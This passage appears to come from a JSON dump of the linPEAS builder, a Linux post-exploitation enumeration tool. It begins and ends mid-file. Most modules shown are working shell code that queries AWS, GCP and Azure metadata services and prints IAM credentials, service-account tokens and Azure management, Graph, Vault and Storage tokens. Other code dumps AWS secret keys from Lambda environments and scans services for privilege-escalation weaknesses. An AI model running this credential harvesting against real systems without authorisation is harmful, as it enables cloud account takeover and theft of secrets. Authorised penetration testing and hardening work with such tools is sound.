imds_roles=$(wget -q -O - --timeout=2 --tries=1 --header=\"X-aws-ec2-metadata-token: $imds_token\" \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" 2>/dev/null | tr '\\n' ' ')\n            if [ \"$imds_roles\" ]; then\n                printf \"    Instance profile role(s) exposed via IMDS: %s\\n\" \"$imds_roles\"\n            else\n                printf \"    No IAM role names returned (instance profile might be missing).\\n\"\n            fi\n        else\n            wget --server-response -O /dev/null --timeout=2 --tries=1 \"http://169.254.169.254/latest/meta-data/\" 2>&1 | awk 'BEGIN{code=\"\"} /^  HTTP/{code=$2} END{ if(code!=\"\") { printf(\"[i] IMDS GET returned HTTP %s (token could not be retrieved).\\n\", code); } else { print \"[i] IMDS endpoint did not respond (likely blocked).\"; } }'\n        fi\n    else\n        echo \"Neither curl nor wget were found, I can't test IMDS reachability.\"\n    fi\n    echo \"\"\n\n    print_3title \"ECS agent IMDS settings\" \"T1552.005,T1580\"\n    if [ -r \"/etc/ecs/ecs.config\" ]; then\n        ecs_block_line=$(grep -E \"^ECS_AWSVPC_BLOCK_IMDS=\" /etc/ecs/ecs.config 2>/dev/null | tail -n 1)\n        ecs_host_line=$(grep -E \"^ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=\" /etc/ecs/ecs.config 2>/dev/null | tail -n 1)\n        if [ \"$ecs_block_line\" ]; then\n            printf \"%s\\n\" \"$ecs_block_line\"\n            if echo \"$ecs_block_line\" | grep -qi \"=true\"; then\n                echo \"    -> awsvpc-mode tasks should be blocked from IMDS by the ECS agent.\"\n            else\n                echo \"    -> awsvpc-mode tasks can still reach IMDS (set this to true to block).\"\n            fi\n        else\n            echo \"ECS_AWSVPC_BLOCK_IMDS not set (awsvpc tasks inherit host IMDS reachability).\"\n        fi\n\n        if [ \"$ecs_host_line\" ]; then\n            printf \"%s\\n\" \"$ecs_host_line\"\n            if echo \"$ecs_host_line\" | grep -qi \"=false\"; then\n                echo \"    -> Host-network tasks lose IAM task roles but IMDS is blocked.\"\n            else\n                echo \"    -> Host-network tasks keep IAM task roles and retain IMDS access.\"\n            fi\n        else\n            echo \"ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST not set (defaults keep IMDS reachable for host-mode tasks).\"\n        fi\n    else\n        echo \"Cannot read /etc/ecs/ecs.config (file missing or permissions denied).\"\n    fi\n    echo \"\"\n\n    print_3title \"DOCKER-USER IMDS filtering\" \"T1552.005,T1580\"\n    iptables_cmd=\"\"\n    if command -v iptables >/dev/null 2>&1; then\n        iptables_cmd=$(command -v iptables)\n    elif command -v iptables-nft >/dev/null 2>&1; then\n        iptables_cmd=$(command -v iptables-nft)\n    fi\n\n    if [ \"$iptables_cmd\" ]; then\n        docker_rules=$($iptables_cmd -S DOCKER-USER 2>/dev/null)\n        if [ $? -eq 0 ]; then\n            if [ \"$docker_rules\" ]; then\n                echo \"$docker_rules\"\n            else\n                echo \"(DOCKER-USER chain exists but no rules were found)\"\n            fi\n            if echo \"$docker_rules\" | grep -q \"169\\\\.254\\\\.169\\\\.254\"; then\n                echo \"    -> IMDS traffic is explicitly filtered before Docker NAT.\"\n            else\n                echo \"    -> No DOCKER-USER rule drops 169.254.169.254 traffic (bridge tasks rely on hop limit or host firewalling).\"\n            fi\n        else\n            echo \"Unable to read DOCKER-USER chain (missing chain or insufficient permissions).\"\n        fi\n    else\n        echo \"iptables binary not found; cannot inspect DOCKER-USER chain.\"\n    fi\n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/4_AWS_Lambda.sh",
    "content": "# Title: Cloud - AWS Lambda\n# ID: CL_AWS_Lambda\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: AWS Lambda Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_aws_lambda, print_2title\n# Global Variables: $is_aws_lambda\n# Initial Functions: check_aws_lambda\n# Generated Global Variables: \n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$is_aws_lambda\" = \"Yes\" ]; then\n  print_2title \"AWS Lambda Enumeration\" \"T1552.005,T1580\"\n  printf \"Function name: \"; env | grep AWS_LAMBDA_FUNCTION_NAME\n  printf \"Region: \"; env | grep AWS_REGION\n  printf \"Secret Access Key: \"; env | grep AWS_SECRET_ACCESS_KEY\n  printf \"Access Key ID: \"; env | grep AWS_ACCESS_KEY_ID\n  printf \"Session token: \"; env | grep AWS_SESSION_TOKEN\n  printf \"Security token: \"; env | grep AWS_SECURITY_TOKEN\n  printf \"Runtime API: \"; env | grep AWS_LAMBDA_RUNTIME_API\n  printf \"Event data: \"; (curl -s \"http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next\" 2>/dev/null || wget -q -O - \"http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next\")\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/5_AWS_Codebuild.sh",
    "content": "# Title: Cloud - AWS Codebuild\n# ID: CL_AWS_Codebuild\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: AWS Codebuild Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_aws_codebuild, exec_with_jq, print_2title, print_3title\n# Global Variables: $is_aws_codebuild\n# Initial Functions: check_aws_codebuild\n# Generated Global Variables: $aws_req, $METADATA_URL, $CREDS_PATH, $URL_CREDS\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$is_aws_codebuild\" = \"Yes\" ]; then\n  print_2title \"AWS Codebuild Enumeration\" \"T1552.005,T1580\"\n  aws_req=\"\"\n  if [ \"$(command -v curl || echo -n '')\" ]; then\n      aws_req=\"curl -s -f\"\n  elif [ \"$(command -v wget || echo -n '')\" ]; then\n      aws_req=\"wget -q -O -\"\n  else \n      echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n      echo \"The addresses are in /codebuild/output/tmp/env.sh\"\n  fi\n\n  if [ \"$aws_req\" ]; then\n    print_3title \"Credentials\" \"T1552.005,T1580\"\n    CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep \"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | cut -d \"'\" -f 2)\n    URL_CREDS=\"http://169.254.170.2$CREDS_PATH\" # Already has a / at the begginig\n    exec_with_jq eval $aws_req \"$URL_CREDS\"; echo \"\"\n\n    print_3title \"Container Info\" \"T1552.005,T1580\"\n    METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep \"ECS_CONTAINER_METADATA_URI\" | cut -d \"'\" -f 2)\n    exec_with_jq eval $aws_req \"$METADATA_URL\"; echo \"\"\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/6_Google_cloud_function.sh",
    "content": "# Title: Cloud - Google Cloud Function\n# ID: CL_Google_cloud_function\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Google Cloud Function Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_gcp, print_2title, print_3title, print_info\n# Global Variables: $is_gcp_function, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES\n# Initial Functions: check_gcp\n# Generated Global Variables: $gcp_req, $p_id, $p_num, $inst_id, $inst_zone, $mtls_info\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$is_gcp_function\" = \"Yes\" ]; then\n    gcp_req=\"\"\n    if [ \"$(command -v curl)\" ]; then\n        gcp_req='curl -s -f -L -H \"Metadata-Flavor: Google\"'\n    elif [ \"$(command -v wget)\" ]; then\n        gcp_req='wget -q -O - --header \"Metadata-Flavor: Google\"'\n    else \n        echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n    fi\n\n    # GCP Enumeration\n    if [ \"$gcp_req\" ]; then\n        print_2title \"Google Cloud Platform Enumeration\" \"T1552.005,T1580\"\n        print_info \"https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html\"\n\n        ## GC Project Info\n        p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')\n        [ \"$p_id\" ] && echo \"Project-ID: $p_id\"\n        p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')\n        [ \"$p_num\" ] && echo \"Project Number: $p_num\"\n\n        # Instance Info\n        inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)\n        [ \"$inst_id\" ] && echo \"Instance ID: $inst_id\"\n        mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration)\n        [ \"$mtls_info\" ] && echo \"MTLS info: $mtls_info\"\n        inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)\n        [ \"$inst_zone\" ] && echo \"Zone: $inst_zone\"\n\n        echo \"\"\n        print_3title \"Service Accounts\" \"T1552.005,T1580\"\n        for sa in $(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/\"); do \n            echo \"  Name: $sa\"\n            echo \"  Email: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email\")\n            echo \"  Aliases: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases\")\n            echo \"  Identity: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity\")\n            echo \"  Scopes: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes\") | sed -${E} \"s,${GCP_GOOD_SCOPES},${SED_GREEN},g\" | sed -${E} \"s,${GCP_BAD_SCOPES},${SED_RED},g\"\n            echo \"  Token: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token\")\n            echo \"  ==============  \"\n        done\n    fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/7_Google_cloud_vm.sh",
    "content": "# Title: Cloud - Google Cloud VM\n# ID: CL_Google_cloud_vm\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Google Cloud VM Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_gcp, print_2title, print_3title, print_info\n# Global Variables: $is_gcp_vm, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES\n# Initial Functions: check_gcp\n# Generated Global Variables: $gcp_req, $p_id, $p_num, $pssh_k, $p_attrs, $osl_u, $osl_g, $osl_sk, $osl_au, $inst_d, $inst_hostn, $inst_id, $inst_img, $inst_mt, $inst_n, $inst_tag, $inst_zone, $inst_k8s_loc, $inst_k8s_name, $inst_k8s_osl_e, $inst_k8s_klab, $inst_k8s_kubec, $inst_k8s_kubenv, $iface\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$is_gcp_vm\" = \"Yes\" ]; then\n    gcp_req=\"\"\n    if [ \"$(command -v curl || echo -n '')\" ]; then\n        gcp_req='curl -s -f -L -H \"Metadata-Flavor: Google\"'\n    elif [ \"$(command -v wget || echo -n '')\" ]; then\n        gcp_req='wget -q -O - --header \"Metadata-Flavor: Google\"'\n    else \n        echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n    fi\n\n\n    if [ \"$gcp_req\" ]; then\n        print_2title \"Google Cloud Platform Enumeration\" \"T1552.005,T1580\"\n        print_info \"https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html\"\n\n        ## GC Project Info\n        p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')\n        [ \"$p_id\" ] && echo \"Project-ID: $p_id\"\n        p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')\n        [ \"$p_num\" ] && echo \"Project Number: $p_num\"\n        pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')\n        [ \"$pssh_k\" ] && echo \"Project SSH-Keys: $pssh_k\"\n        p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')\n        [ \"$p_attrs\" ] && echo \"All Project Attributes: $p_attrs\"\n\n        # OSLogin Info\n        osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)\n        [ \"$osl_u\" ] && echo \"OSLogin users: $osl_u\"\n        osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)\n        [ \"$osl_g\" ] && echo \"OSLogin Groups: $osl_g\"\n        osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)\n        [ \"$osl_sk\" ] && echo \"OSLogin Security Keys: $osl_sk\"\n        osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)\n        [ \"$osl_au\" ] && echo \"OSLogin Authorize: $osl_au\"\n\n        # Instance Info\n        inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)\n        [ \"$inst_d\" ] && echo \"Instance Description: \"\n        inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)\n        [ \"$inst_hostn\" ] && echo \"Hostname: $inst_hostn\"\n        inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)\n        [ \"$inst_id\" ] && echo \"Instance ID: $inst_id\"\n        inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)\n        [ \"$inst_img\" ] && echo \"Instance Image: $inst_img\"\n        inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)\n        [ \"$inst_mt\" ] && echo \"Machine Type: $inst_mt\"\n        inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)\n        [ \"$inst_n\" ] && echo \"Instance Name: $inst_n\"\n        inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)\n        [ \"$inst_tag\" ] && echo \"Instance tags: $inst_tag\"\n        inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)\n        [ \"$inst_zone\" ] && echo \"Zone: $inst_zone\"\n\n        inst_k8s_loc=$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location\")\n        [ \"$inst_k8s_loc\" ] && echo \"K8s Cluster Location: $inst_k8s_loc\"\n        inst_k8s_name=$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name\")\n        [ \"$inst_k8s_name\" ] && echo \"K8s Cluster name: $inst_k8s_name\"\n        inst_k8s_osl_e=$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin\")\n        [ \"$inst_k8s_osl_e\" ] && echo \"K8s OSLoging enabled: $inst_k8s_osl_e\"\n        inst_k8s_klab=$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels\")\n        [ \"$inst_k8s_klab\" ] && echo \"K8s Kube-labels: $inst_k8s_klab\"\n        inst_k8s_kubec=$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig\")\n        [ \"$inst_k8s_kubec\" ] && echo \"K8s Kubeconfig: $inst_k8s_kubec\"\n        inst_k8s_kubenv=$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env\")\n        [ \"$inst_k8s_kubenv\" ] && echo \"K8s Kube-env: $inst_k8s_kubenv\"\n\n        echo \"\"\n        print_3title \"Interfaces\" \"T1552.005,T1580\"\n        for iface in $(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/\"); do \n            echo \"  IP: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip\")\n            echo \"  Subnetmask: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask\")\n            echo \"  Gateway: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway\")\n            echo \"  DNS: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers\")\n            echo \"  Network: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network\")\n            echo \"  ==============  \"\n        done\n        \n        echo \"\"\n        print_3title \"User Data\" \"T1552.005,T1580\"\n        echo $(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script\")\n        echo \"\"\n\n        echo \"\"\n        print_3title \"Service Accounts\" \"T1552.005,T1580\"\n        for sa in $(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/\"); do \n            echo \"  Name: $sa\"\n            echo \"  Email: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email\")\n            echo \"  Aliases: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases\")\n            echo \"  Identity: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity\")\n            echo \"  Scopes: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes\") | sed -${E} \"s,${GCP_GOOD_SCOPES},${SED_GREEN},g\" | sed -${E} \"s,${GCP_BAD_SCOPES},${SED_RED},g\"\n            echo \"  Token: \"$(eval $gcp_req \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token\")\n            echo \"  ==============  \"\n        done\n    fi\n    echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/8_Azure_VM.sh",
    "content": "# Title: Cloud - Azure VM\n# ID: CL_Azure_VM\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Azure VM Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title\n# Global Variables: $is_az_vm\n# Initial Functions: check_az_vm\n# Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$is_az_vm\" = \"Yes\" ]; then\n  print_2title \"Azure VM Enumeration\" \"T1552.005,T1580\"\n  HEADER=\"Metadata:true\"\n  URL=\"http://169.254.169.254/metadata\"\n  API_VERSION=\"2021-12-13\" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions\n  \n  az_req=\"\"\n  if [ \"$(command -v curl || echo -n '')\" ]; then\n      az_req=\"curl -s -f -L -H '$HEADER'\"\n  elif [ \"$(command -v wget || echo -n '')\" ]; then\n      az_req=\"wget -q -O - --header '$HEADER'\"\n  else \n      echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n  fi\n\n  if [ \"$az_req\" ]; then\n    print_3title \"Instance details\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$URL/instance?api-version=$API_VERSION\"\n    echo \"\"\n\n    print_3title \"Load Balancer details\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$URL/loadbalancer?api-version=$API_VERSION\"\n    echo \"\"\n\n    print_3title \"User Data\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$URL/instance/compute/userData?api-version=$API_VERSION\\&format=text\" | base64 -d 2>/dev/null\n    echo \"\"\n\n    print_3title \"Custom Data and other configs (root needed)\" \"T1552.005,T1580\"\n    (cat /var/lib/waagent/ovf-env.xml || cat /var/lib/waagent/CustomData/ovf-env.xml) 2>/dev/null | sed \"s,CustomData.*,${SED_RED},\"\n    echo \"\"\n\n    print_3title \"Management token\" \"T1552.005,T1580\"\n    print_info \"It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm\"\n    exec_with_jq eval $az_req \"$URL/identity/oauth2/token?api-version=$API_VERSION\\&resource=https://management.azure.com/\"\n    echo \"\"\n\n    print_3title \"Graph token\" \"T1552.005,T1580\"\n    print_info \"It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm\"\n    exec_with_jq eval $az_req \"$URL/identity/oauth2/token?api-version=$API_VERSION\\&resource=https://graph.microsoft.com/\"\n    echo \"\"\n    \n    print_3title \"Vault token\" \"T1552.005,T1580\"\n    print_info \"It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm\"\n    exec_with_jq eval $az_req \"$URL/identity/oauth2/token?api-version=$API_VERSION\\&resource=https://vault.azure.net/\"\n    echo \"\"\n\n    print_3title \"Storage token\" \"T1552.005,T1580\"\n    print_info \"It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm\"\n    exec_with_jq eval $az_req \"$URL/identity/oauth2/token?api-version=$API_VERSION\\&resource=https://storage.azure.com/\"\n    echo \"\"\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/3_cloud/9_Azure_app_service.sh",
    "content": "# Title: Cloud - Azure App Service \n# ID: CL_Azure_app_service\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Azure App Service Enumeration\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.005,T1580\n# Functions Used: check_az_app, exec_with_jq, print_2title, print_3title\n# Global Variables: $is_az_app,\n# Initial Functions: check_az_app\n# Generated Global Variables: $API_VERSION, $HEADER, $az_req\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nAPI_VERSION=\"2019-08-01\" #https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity?tabs=portal%2Chttp\n\nif [ \"$is_az_app\" = \"Yes\" ]; then\n  print_2title \"Azure App Service Enumeration\" \"T1552.005,T1580\"\n  HEADER=\"X-IDENTITY-HEADER:$IDENTITY_HEADER\"\n\n  az_req=\"\"\n  if [ \"$(command -v curl || echo -n '')\" ]; then\n      az_req=\"curl -s -f -L -H '$HEADER'\"\n  elif [ \"$(command -v wget || echo -n '')\" ]; then\n      az_req=\"wget -q -O - --header '$HEADER'\"\n  else \n      echo \"Neither curl nor wget were found, I can't enumerate the metadata service :(\"\n  fi\n\n  if [ \"$az_req\" ]; then\n    print_3title \"Management token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://management.azure.com/\"\n    echo\n    print_3title \"Graph token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://graph.microsoft.com/\"\n    echo\n    print_3title \"Vault token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://vault.azure.net/\"\n    echo\n    print_3title \"Storage token\" \"T1552.005,T1580\"\n    exec_with_jq eval $az_req \"$IDENTITY_ENDPOINT?api-version=$API_VERSION\\&resource=https://storage.azure.com/\"\n  fi\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_Services.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Services and Service Files\n# ID: PR_Services\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Services and service files analysis with privilege escalation vectors\n# License: GNU GPL\n# Version: 1.2\n# Mitre: T1543.002,T1007\n# Functions Used: echo_not_found, print_2title, print_info, print_3title\n# Global Variables: $EXTRA_CHECKS, $IAMROOT, $SEARCH_IN_FOLDER, $TIMEOUT, $WRITABLESYSTEMDPATH\n# Initial Functions:\n# Generated Global Variables: $service_unit, $service_path, $service_content, $finding, $findings, $service_file, $exec_path, $exec_paths, $service, $line, $target_file, $target_exec, $relpath1, $relpath2\n# Fat linpeas: 0\n# Small linpeas: 0\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Services and Service Files\" \"T1543.002,T1007\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services\"\n\n  # Function to check service content for privilege escalation vectors\n  check_service_content() {\n    local service=\"$1\"\n    local findings=\"\"\n    \n    # Check if service runs with elevated privileges\n    if systemctl show \"$service\" -p User 2>/dev/null | grep -q \"root\"; then\n      findings=\"${findings}RUNS_AS_ROOT: Service runs as root\\n\"\n    fi\n\n    # Get the executable path and check it\n    local exec_path=$(systemctl show \"$service\" -p ExecStart 2>/dev/null | cut -d= -f2 | cut -d' ' -f1)\n    if [ -n \"$exec_path\" ]; then\n      if [ -w \"$exec_path\" ]; then\n        findings=\"${findings}WRITABLE_EXEC: Executable is writable: $exec_path\\n\"\n      fi\n      # Check for relative paths\n      #case \"$exec_path\" in\n      #  /*) : ;; # Absolute path, do nothing\n      #  *) findings=\"${findings}RELATIVE_PATH: Uses relative path: $exec_path\\n\" ;;\n      #esac\n      # Check for weak permissions\n      if [ -e \"$exec_path\" ] && [ \"$(stat -c %a \"$exec_path\" 2>/dev/null)\" = \"777\" ]; then\n        findings=\"${findings}WEAK_PERMS: Executable has 777 permissions\\n\"\n      fi\n    fi\n\n    # Check for unsafe configurations\n    if systemctl show \"$service\" -p ExecStart 2>/dev/null | grep -qE '(chmod|chown|mount|sudo|su)'; then\n      findings=\"${findings}UNSAFE_CMD: Uses potentially dangerous commands\\n\"\n    fi\n\n    # Check for environment variables with sensitive data\n    if systemctl show \"$service\" -p Environment 2>/dev/null | grep -qE '(PASS|SECRET|KEY|TOKEN|CRED)'; then\n      findings=\"${findings}SENSITIVE_ENV: Contains sensitive environment variables\\n\"\n    fi\n\n    # Check for capabilities\n    if systemctl show \"$service\" -p CapabilityBoundingSet 2>/dev/null | grep -qE '(CAP_SYS_ADMIN|CAP_DAC_OVERRIDE|CAP_DAC_READ_SEARCH)'; then\n      findings=\"${findings}DANGEROUS_CAPS: Has dangerous capabilities\\n\"\n    fi\n\n    # If any findings, print them\n    if [ -n \"$findings\" ]; then\n      echo \"  Potential issue in service: $service\"\n      echo \"$findings\" | while read -r finding; do\n        [ -n \"$finding\" ] && echo \"  └─ $finding\"\n      done\n    fi\n  }\n\n  # Function to check service file for privilege escalation vectors\n  check_service_file() {\n    local service_file=\"$1\"\n    local findings=\"\"\n\n    # Check if service file is writable (following symlinks)\n    if [ -L \"$service_file\" ]; then\n      # If it's a symlink, check the target file\n      local target_file=$(readlink -f \"$service_file\")\n      if ! [ \"$IAMROOT\" ] && [ -w \"$target_file\" ] && [ -f \"$target_file\" ] && ! [ \"$SEARCH_IN_FOLDER\" ]; then\n        findings=\"${findings}WRITABLE_FILE: Service target file is writable: $target_file\\n\"\n      fi\n    elif ! [ \"$IAMROOT\" ] && [ -w \"$service_file\" ] && [ -f \"$service_file\" ] && ! [ \"$SEARCH_IN_FOLDER\" ]; then\n      findings=\"${findings}WRITABLE_FILE: Service file is writable\\n\"\n    fi\n\n    # Check for weak permissions (following symlinks)\n    if [ \"$(stat -L -c %a \"$service_file\" 2>/dev/null)\" = \"777\" ]; then\n      findings=\"${findings}WEAK_PERMS: Service file has 777 permissions\\n\"\n    fi\n\n    # Check for relative paths in Exec directives - Original logic\n    local relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\\+[^/]|![^/]|!![^/]|)[^/@\\+!-].*' \"$service_file\" 2>/dev/null | grep -Iv \"=/\")\n    local relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' \"$service_file\" 2>/dev/null)\n    if [ \"$relpath1\" ] || [ \"$relpath2\" ]; then\n      if [ \"$WRITABLESYSTEMDPATH\" ]; then\n        findings=\"${findings}RELATIVE_PATH: Could be executing some relative path (systemd path is writable)\\n\"\n      else\n        findings=\"${findings}RELATIVE_PATH: Could be executing some relative path\\n\"\n      fi\n    fi\n\n    # Check for writable executables (following symlinks)\n    local exec_paths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\\-]+' \"$service_file\" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\\+!-]*,,')\n    printf \"%s\\n\" \"$exec_paths\" | while read -r exec_path; do\n      if [ -n \"$exec_path\" ]; then\n        if [ -L \"$exec_path\" ]; then\n          local target_exec=$(readlink -f \"$exec_path\")\n          if [ -w \"$target_exec\" ]; then\n            findings=\"${findings}WRITABLE_EXEC: Executable target is writable: $target_exec\\n\"\n          fi\n        elif [ -w \"$exec_path\" ]; then\n          findings=\"${findings}WRITABLE_EXEC: Executable is writable: $exec_path\\n\"\n        fi\n      fi\n    done\n\n    # If any findings, print them\n    if [ -n \"$findings\" ]; then\n      echo \"  Potential issue in service file: $service_file\"\n      echo \"$findings\" | while read -r finding; do\n        [ -n \"$finding\" ] && echo \"  └─ $finding\"\n      done\n    fi\n  }\n\n  # List all services and check for privilege escalation vectors\n  echo \"\"\n  print_3title \"Active services:\" \"T1543.002,T1007\"\n  systemctl list-units --type=service --state=active 2>/dev/null | grep -v \"UNIT\" | while read -r line; do\n    service_unit=$(echo \"$line\" | awk '{print $1}')\n    if [ -n \"$service_unit\" ]; then\n      # Print the service line with highlighting\n      echo \"$line\" | sed -${E} 